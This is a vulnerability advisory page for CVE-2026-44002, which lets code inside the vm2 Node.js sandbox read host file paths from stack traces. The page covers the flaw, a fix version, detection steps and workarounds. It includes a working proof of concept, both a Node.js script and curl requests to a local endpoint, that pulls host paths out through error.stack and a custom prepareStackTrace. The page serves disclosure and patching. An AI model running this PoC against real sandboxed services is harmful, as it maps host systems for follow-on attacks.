CVE-2026-44002 — vm2
MEDIUMCVE-2026-44002 is a medium-severity (CVSS 5.8) CWE-209 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2: Host File Path Disclosure via Stack Trace Information Leak
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44002.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.
Details
In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:
getFileName()— returns host absolute paths like/app/node_modules/vm2/lib/vm.jsgetLineNumber(),getColumnNumber()— exact source locationsgetFunctionName(),getMethodName(),getTypeName()— internal function names
Two exploitation paths exist:
- Default
error.stack:new Error().stackincludes host frame paths in the formatted string - Custom
prepareStackTrace: Attacker can setError.prepareStackTraceto directly callgetFileName()on each CallSite, extracting a clean list of all host paths
PoC
Library-level PoC (Node.js script — primary):
const { VM } = require("vm2");
const vm = new VM();
// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
// /app/src/server.js:49:20
// Path B — prepareStackTrace extraction
const result2 = vm.run(`
Error.prepareStackTrace = function(e, sst) {
return sst.map(function(s) { return s.getFileName(); }).join(", ");
};
new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...
HTTP demonstration:
# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...
# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...
Impact
- Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
- Attack Chain: Leaked paths enable precise targeting for other vulnerabilities.
- Scope: All applications using vm2. No special configuration required.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.0npm install vm2@3.11.0 |
Affected Products
vm2vm2_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44002 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
vm2 is vulnerable to information disclosure via unsanitized host file paths returned by CallSite.getFileName(). A remote unauthenticated attacker who can run sandboxed code may extract host filesystem layout and version information. Fixed in vm2 3.11.0.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1785854226 | RHSA-2026:50850 |
Frequently Asked Questions
Is CVE-2026-44002 in your dependencies?
Find it across npm, including transitive dependencies.